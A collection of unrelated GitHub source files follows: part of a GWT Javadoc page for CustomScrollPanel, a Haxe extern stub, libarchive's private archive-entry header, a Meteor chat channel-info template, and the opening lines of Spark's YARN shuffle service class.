<div class="block">Creates an empty <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a>.</div>
</li>
</ul>
<a name="CustomScrollPanel-com.google.gwt.user.client.ui.CustomScrollPanel.Resources-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CustomScrollPanel</h4>
<pre>public CustomScrollPanel(<a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Resources.html" title="interface in com.google.gwt.user.client.ui">CustomScrollPanel.Resources</a> resources)</pre>
</li>
</ul>
<a name="CustomScrollPanel-com.google.gwt.user.client.ui.Widget-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>CustomScrollPanel</h4>
<pre>public CustomScrollPanel(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> child)</pre>
<div class="block">Creates a <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a> with the specified child widget.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>child</code> - the widget to be wrapped by the scroll panel</dd>
</dl>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="getHorizontalScrollbar--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getHorizontalScrollbar</h4>
<pre>public <a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui">HorizontalScrollbar</a> getHorizontalScrollbar()</pre>
<div class="block">Get the scrollbar used for horizontal scrolling.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the horizontal scrollbar, or null if none specified</dd>
</dl>
</li>
</ul>
<a name="getVerticalScrollbar--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getVerticalScrollbar</h4>
<pre>public <a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui">VerticalScrollbar</a> getVerticalScrollbar()</pre>
<div class="block">Get the scrollbar used for vertical scrolling.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the vertical scrollbar, or null if none specified</dd>
</dl>
</li>
</ul>
<a name="onBrowserEvent-com.google.gwt.user.client.Event-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onBrowserEvent</h4>
<pre>public void onBrowserEvent(<a href="../../../../../../com/google/gwt/user/client/Event.html" title="class in com.google.gwt.user.client">Event</a> event)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="../../../../../../com/google/gwt/user/client/EventListener.html#onBrowserEvent-com.google.gwt.user.client.Event-">EventListener</a></code></span></div>
<div class="block">Fired whenever a browser event is received.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/EventListener.html#onBrowserEvent-com.google.gwt.user.client.Event-">onBrowserEvent</a></code> in interface <code><a href="../../../../../../com/google/gwt/user/client/EventListener.html" title="interface in com.google.gwt.user.client">EventListener</a></code></dd>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onBrowserEvent-com.google.gwt.user.client.Event-">onBrowserEvent</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>event</code> - the event received</dd>
</dl>
</li>
</ul>
<a name="onResize--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onResize</h4>
<pre>public void onResize()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="../../../../../../com/google/gwt/user/client/ui/RequiresResize.html#onResize--">RequiresResize</a></code></span></div>
<div class="block">This method must be called whenever the implementor's size has been
modified.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/RequiresResize.html#onResize--">onResize</a></code> in interface <code><a href="../../../../../../com/google/gwt/user/client/ui/RequiresResize.html" title="interface in com.google.gwt.user.client.ui">RequiresResize</a></code></dd>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#onResize--">onResize</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></code></dd>
</dl>
</li>
</ul>
<a name="remove-com.google.gwt.user.client.ui.Widget-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>remove</h4>
<pre>public boolean remove(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> w)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#remove-com.google.gwt.user.client.ui.Widget-">Panel</a></code></span></div>
<div class="block">Removes a child widget.
<p>
<b>How to Override this Method</b>
</p>
<p>
There are several important things that must take place in the correct
order to properly remove a Widget from a Panel. Not all of these steps will
be relevant to every Panel, but all of the steps must be considered.
<ol>
<li><b>Validate:</b> Make sure this Panel is actually the parent of the
child Widget; return <code>false</code> if it is not.</li>
<li><b>Orphan:</b> Call <a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#orphan-com.google.gwt.user.client.ui.Widget-"><code>Panel.orphan(Widget)</code></a> first while the child
Widget is still attached.</li>
<li><b>Physical Detach:</b> Adjust the DOM to account for the removal of
the child Widget. The Widget's Element must be physically removed from the
DOM.</li>
<li><b>Logical Detach:</b> Update the Panel's state variables to reflect
the removal of the child Widget. Example: the Widget is removed from the
Panel's <a href="../../../../../../com/google/gwt/user/client/ui/WidgetCollection.html" title="class in com.google.gwt.user.client.ui"><code>WidgetCollection</code></a>.</li>
</ol>
</p></div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.html#remove-com.google.gwt.user.client.ui.Widget-">remove</a></code> in interface <code><a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.html" title="interface in com.google.gwt.user.client.ui">HasWidgets</a></code></dd>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#remove-com.google.gwt.user.client.ui.Widget-">remove</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html" title="class in com.google.gwt.user.client.ui">SimplePanel</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>w</code> - the widget to be removed</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd><code>true</code> if the child was present</dd>
</dl>
</li>
</ul>
<a name="removeHorizontalScrollbar--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>removeHorizontalScrollbar</h4>
<pre>public void removeHorizontalScrollbar()</pre>
<div class="block">Remove the <a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui"><code>HorizontalScrollbar</code></a>, if one exists.</div>
</li>
</ul>
<a name="removeVerticalScrollbar--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>removeVerticalScrollbar</h4>
<pre>public void removeVerticalScrollbar()</pre>
<div class="block">Remove the <a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui"><code>VerticalScrollbar</code></a>, if one exists.</div>
</li>
</ul>
<a name="setAlwaysShowScrollBars-boolean-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setAlwaysShowScrollBars</h4>
<pre>public void setAlwaysShowScrollBars(boolean alwaysShow)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setAlwaysShowScrollBars-boolean-">ScrollPanel</a></code></span></div>
<div class="block">Sets whether this panel always shows its scroll bars, or only when
necessary.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setAlwaysShowScrollBars-boolean-">setAlwaysShowScrollBars</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>alwaysShow</code> - <code>true</code> to show scroll bars at all times</dd>
</dl>
</li>
</ul>
<a name="setHorizontalScrollbar-com.google.gwt.user.client.ui.HorizontalScrollbar-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setHorizontalScrollbar</h4>
<pre>public void setHorizontalScrollbar(<a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui">HorizontalScrollbar</a> scrollbar,
int height)</pre>
<div class="block">Set the scrollbar used for horizontal scrolling.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>scrollbar</code> - the scrollbar, or null to clear it</dd>
<dd><code>height</code> - the height of the scrollbar in pixels</dd>
</dl>
</li>
</ul>
<a name="setVerticalScrollbar-com.google.gwt.user.client.ui.VerticalScrollbar-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setVerticalScrollbar</h4>
<pre>public void setVerticalScrollbar(<a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui">VerticalScrollbar</a> scrollbar,
int width)</pre>
<div class="block">Set the scrollbar used for vertical scrolling.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>scrollbar</code> - the scrollbar, or null to clear it</dd>
<dd><code>width</code> - the width of the scrollbar in pixels</dd>
</dl>
</li>
</ul>
<a name="setWidget-com.google.gwt.user.client.ui.Widget-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setWidget</h4>
<pre>public void setWidget(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> w)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#setWidget-com.google.gwt.user.client.ui.Widget-">SimplePanel</a></code></span></div>
<div class="block">Sets this panel's widget. Any existing child widget will be removed.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/HasOneWidget.html#setWidget-com.google.gwt.user.client.ui.Widget-">setWidget</a></code> in interface <code><a href="../../../../../../com/google/gwt/user/client/ui/HasOneWidget.html" title="interface in com.google.gwt.user.client.ui">HasOneWidget</a></code></dd>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#setWidget-com.google.gwt.user.client.ui.Widget-">setWidget</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html" title="class in com.google.gwt.user.client.ui">SimplePanel</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>w</code> - the panel's new widget, or <code>null</code> to clear the panel</dd>
</dl>
</li>
</ul>
<a name="doAttachChildren--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>doAttachChildren</h4>
<pre>protected void doAttachChildren()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doAttachChildren--">Widget</a></code></span></div>
<div class="block">If a widget contains one or more child widgets that are not in the logical
widget hierarchy (the child is physically connected only on the DOM level),
it must override this method and call <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onAttach--"><code>Widget.onAttach()</code></a> for each of its
child widgets.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#doAttachChildren--">doAttachChildren</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html" title="class in com.google.gwt.user.client.ui">Panel</a></code></dd>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onAttach--"><code>Widget.onAttach()</code></a></dd>
</dl>
</li>
</ul>
<a name="doDetachChildren--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>doDetachChildren</h4>
<pre>protected void doDetachChildren()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doDetachChildren--">Widget</a></code></span></div>
<div class="block">If a widget contains one or more child widgets that are not in the logical
widget hierarchy (the child is physically connected only on the DOM level),
it must override this method and call <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onDetach--"><code>Widget.onDetach()</code></a> for each of its
child widgets.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#doDetachChildren--">doDetachChildren</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html" title="class in com.google.gwt.user.client.ui">Panel</a></code></dd>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onDetach--"><code>Widget.onDetach()</code></a></dd>
</dl>
</li>
</ul>
<a name="onAttach--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onAttach</h4>
<pre>protected void onAttach()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onAttach--">Widget</a></code></span></div>
<div class="block"><p>
This method is called when a widget is attached to the browser's document.
To receive notification after a Widget has been added to the document,
override the <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onLoad--"><code>Widget.onLoad()</code></a> method or use <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addAttachHandler-com.google.gwt.event.logical.shared.AttachEvent.Handler-"><code>Widget.addAttachHandler(com.google.gwt.event.logical.shared.AttachEvent.Handler)</code></a>.
</p>
<p>
It is strongly recommended that you override <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onLoad--"><code>Widget.onLoad()</code></a> or
<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doAttachChildren--"><code>Widget.doAttachChildren()</code></a> instead of this method to avoid inconsistencies
between logical and physical attachment states.
</p>
<p>
Subclasses that override this method must call
<code>super.onAttach()</code> to ensure that the Widget has been attached
to its underlying Element.
</p></div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#onAttach--">onAttach</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></code></dd>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onLoad--"><code>Widget.onLoad()</code></a>,
<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doAttachChildren--"><code>Widget.doAttachChildren()</code></a></dd>
</dl>
</li>
</ul>
<a name="onDetach--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onDetach</h4>
<pre>protected void onDetach()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onDetach--">Widget</a></code></span></div>
<div class="block"><p>
This method is called when a widget is detached from the browser's
document. To receive notification before a Widget is removed from the
document, override the <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onUnload--"><code>Widget.onUnload()</code></a> method or use <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addAttachHandler-com.google.gwt.event.logical.shared.AttachEvent.Handler-"><code>Widget.addAttachHandler(com.google.gwt.event.logical.shared.AttachEvent.Handler)</code></a>.
</p>
<p>
It is strongly recommended that you override <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onUnload--"><code>Widget.onUnload()</code></a> or
<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doDetachChildren--"><code>Widget.doDetachChildren()</code></a> instead of this method to avoid inconsistencies
between logical and physical attachment states.
</p>
<p>
Subclasses that override this method must call
<code>super.onDetach()</code> to ensure that the Widget has been detached
from the underlying Element. Failure to do so will result in application
memory leaks due to circular references between DOM Elements and JavaScript
objects.
</p></div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#onDetach--">onDetach</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></code></dd>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onUnload--"><code>Widget.onUnload()</code></a>,
<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#doDetachChildren--"><code>Widget.doDetachChildren()</code></a></dd>
</dl>
</li>
</ul>
<a name="onLoad--">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>onLoad</h4>
<pre>protected void onLoad()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from class: <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onLoad--">Widget</a></code></span></div>
<div class="block">This method is called immediately after a widget becomes attached to the
browser's document.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onLoad--">onLoad</a></code> in class <code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a></code></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/CustomScrollPanel.html">Use</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
<div class="aboutLanguage">GWT 2.9.0</div>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../com/google/gwt/user/client/ui/CustomButton.Face.html" title="class in com.google.gwt.user.client.ui"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Resources.html" title="interface in com.google.gwt.user.client.ui"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?com/google/gwt/user/client/ui/CustomScrollPanel.html" target="_top">Frames</a></li>
<li><a href="CustomScrollPanel.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#fields.inherited.from.class.com.google.gwt.user.client.ui.SimplePanel">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/**
*
* WARNING! This file was autogenerated by:
* _ _ _ _ __ __
* | | | | | | |\ \ / /
* | | | | |_| | \ V /
* | | | | _ | / \
* | |_| | | | |/ /^\ \
* \___/\_| |_/\/ \/
*
* This file was autogenerated by UnrealHxGenerator using UHT definitions.
* It only includes UPROPERTYs and UFUNCTIONs. Do not modify it!
* In order to add more definitions, create or edit a type with the same name/package, but with an `_Extra` suffix
**/
package unreal;
@:glueCppIncludes("CoreUObject.h")
@:uextern @:uclass extern class USetProperty extends unreal.UProperty {
}
|
{
"pile_set_name": "Github"
}
|
/*-
* Copyright (c) 2003-2007 Tim Kientzle
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: head/lib/libarchive/archive_entry_private.h 201096 2009-12-28 02:41:27Z kientzle $
*/
#ifndef ARCHIVE_ENTRY_PRIVATE_H_INCLUDED
#define ARCHIVE_ENTRY_PRIVATE_H_INCLUDED
#ifndef __LIBARCHIVE_BUILD
#error This header is only to be used internally to libarchive.
#endif
#include "archive_acl_private.h"
#include "archive_string.h"
struct ae_xattr {
struct ae_xattr *next;
char *name;
void *value;
size_t size;
};
struct ae_sparse {
struct ae_sparse *next;
int64_t offset;
int64_t length;
};
/*
* Description of an archive entry.
*
* Basically, this is a "struct stat" with a few text fields added in.
*
* TODO: Add "comment", "charset", and possibly other entries
* that are supported by "pax interchange" format. However, GNU, ustar,
* cpio, and other variants don't support these features, so they're not an
* excruciatingly high priority right now.
*
* TODO: "pax interchange" format allows essentially arbitrary
* key/value attributes to be attached to any entry. Supporting
* such extensions may make this library useful for special
* applications (e.g., a package manager could attach special
* package-management attributes to each entry). There are tricky
* API issues involved, so this is not going to happen until
* there's a real demand for it.
*
* TODO: Design a good API for handling sparse files.
*/
struct archive_entry {
struct archive *archive;
/*
* Note that ae_stat.st_mode & AE_IFMT can be 0!
*
* This occurs when the actual file type of the object is not
* in the archive. For example, 'tar' archives store
* hardlinks without marking the type of the underlying
* object.
*/
/*
* We have a "struct aest" for holding file metadata rather than just
* a "struct stat" because on some platforms the "struct stat" has
* fields which are too narrow to hold the range of possible values;
* we don't want to lose information if we read an archive and write
* out another (e.g., in "tar -cf new.tar @old.tar").
*
* The "stat" pointer points to some form of platform-specific struct
* stat; it is declared as a void * rather than a struct stat * as
* some platforms have multiple varieties of stat structures.
*/
void *stat;
int stat_valid; /* Set to 0 whenever a field in aest changes. */
struct aest {
int64_t aest_atime;
uint32_t aest_atime_nsec;
int64_t aest_ctime;
uint32_t aest_ctime_nsec;
int64_t aest_mtime;
uint32_t aest_mtime_nsec;
int64_t aest_birthtime;
uint32_t aest_birthtime_nsec;
int64_t aest_gid;
int64_t aest_ino;
uint32_t aest_nlink;
uint64_t aest_size;
int64_t aest_uid;
/*
* Because converting between device codes and
* major/minor values is platform-specific and
* inherently a bit risky, we only do that conversion
* lazily. That way, we will do a better job of
* preserving information in those cases where no
* conversion is actually required.
*/
int aest_dev_is_broken_down;
dev_t aest_dev;
dev_t aest_devmajor;
dev_t aest_devminor;
int aest_rdev_is_broken_down;
dev_t aest_rdev;
dev_t aest_rdevmajor;
dev_t aest_rdevminor;
} ae_stat;
int ae_set; /* bitmap of fields that are currently set */
#define AE_SET_HARDLINK 1
#define AE_SET_SYMLINK 2
#define AE_SET_ATIME 4
#define AE_SET_CTIME 8
#define AE_SET_MTIME 16
#define AE_SET_BIRTHTIME 32
#define AE_SET_SIZE 64
#define AE_SET_INO 128
#define AE_SET_DEV 256
/*
* Use aes here so that we get transparent mbs<->wcs conversions.
*/
struct archive_mstring ae_fflags_text; /* Text fflags per fflagstostr(3) */
unsigned long ae_fflags_set; /* Bitmap fflags */
unsigned long ae_fflags_clear;
struct archive_mstring ae_gname; /* Name of owning group */
struct archive_mstring ae_hardlink; /* Name of target for hardlink */
struct archive_mstring ae_pathname; /* Name of entry */
struct archive_mstring ae_symlink; /* symlink contents */
struct archive_mstring ae_uname; /* Name of owner */
/* Not used within libarchive; useful for some clients. */
struct archive_mstring ae_sourcepath; /* Path this entry is sourced from. */
#define AE_ENCRYPTION_NONE 0
#define AE_ENCRYPTION_DATA 1
#define AE_ENCRYPTION_METADATA 2
char encryption;
void *mac_metadata;
size_t mac_metadata_size;
/* ACL support. */
struct archive_acl acl;
/* extattr support. */
struct ae_xattr *xattr_head;
struct ae_xattr *xattr_p;
/* sparse support. */
struct ae_sparse *sparse_head;
struct ae_sparse *sparse_tail;
struct ae_sparse *sparse_p;
/* Miscellaneous. */
char strmode[12];
/* Symlink type support */
int ae_symlink_type;
};
#endif /* ARCHIVE_ENTRY_PRIVATE_H_INCLUDED */
|
{
"pile_set_name": "Github"
}
|
<template name="channelInfo">
<aside class="channel-info channel-info-out">
<span class="title">
Channel info
<i data-action="display-channel-info" class="fa fa-times channel-info-exit"></i>
</span>
<div class="aside-section channel-accordion">
<ul class="scroll">
<li class="channel-accordion-section">
<i class="fa fa-caret-right caret"></i>
<h2 class="channel-accordion-section-header"><i class="fa fa-info-circle icon icon-about"></i> About this channel</h2>
<div class="channel-accordion-section-content">
{{#unless currentChannel.purpose}}
<p class="addPurposeText">A purpose has not been set for #{{currentChannel.name}}. Why not let everyone know <a class="channel-add-purpose" href="#">what this channel is for</a>?</p>
{{/unless}}
<p class="addPurposeText">{{#markdown}}{{#linkify}}{{currentChannel.purpose}}{{/linkify}}{{/markdown}}</p>
<p class="created-by">Created by {{creatorUsername}} on {{dateCreated}}</p>
</div>
</li>
{{> channelInfoPinnedMessages}}
<li class="channel-accordion-section">
<i class="fa fa-caret-right caret"></i>
<h2 class="channel-accordion-section-header"><i class="fa fa-user icon icon-members"></i> Members</h2>
<p class="channel-accordion-section-content">Members content to be here</p>
</li>
</ul>
</div>
</aside>
</template>
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.network.yarn;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.ByteBuffer;
import java.nio.file.Files;
import java.util.List;
import java.util.Map;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.base.Objects;
import com.google.common.collect.Lists;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.fs.permission.FsPermission;
import org.apache.hadoop.yarn.api.records.ContainerId;
import org.apache.hadoop.yarn.server.api.*;
import org.apache.spark.network.util.LevelDBProvider;
import org.iq80.leveldb.DB;
import org.iq80.leveldb.DBIterator;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.spark.network.TransportContext;
import org.apache.spark.network.sasl.SaslServerBootstrap;
import org.apache.spark.network.sasl.ShuffleSecretManager;
import org.apache.spark.network.server.TransportServer;
import org.apache.spark.network.server.TransportServerBootstrap;
import org.apache.spark.network.shuffle.ExternalShuffleBlockHandler;
import org.apache.spark.network.util.TransportConf;
import org.apache.spark.network.yarn.util.HadoopConfigProvider;
/**
* An external shuffle service used by Spark on Yarn.
*
* This is intended to be a long-running auxiliary service that runs in the NodeManager process.
* A Spark application may connect to this service by setting `spark.shuffle.service.enabled`.
* The application also automatically derives the service port through `spark.shuffle.service.port`
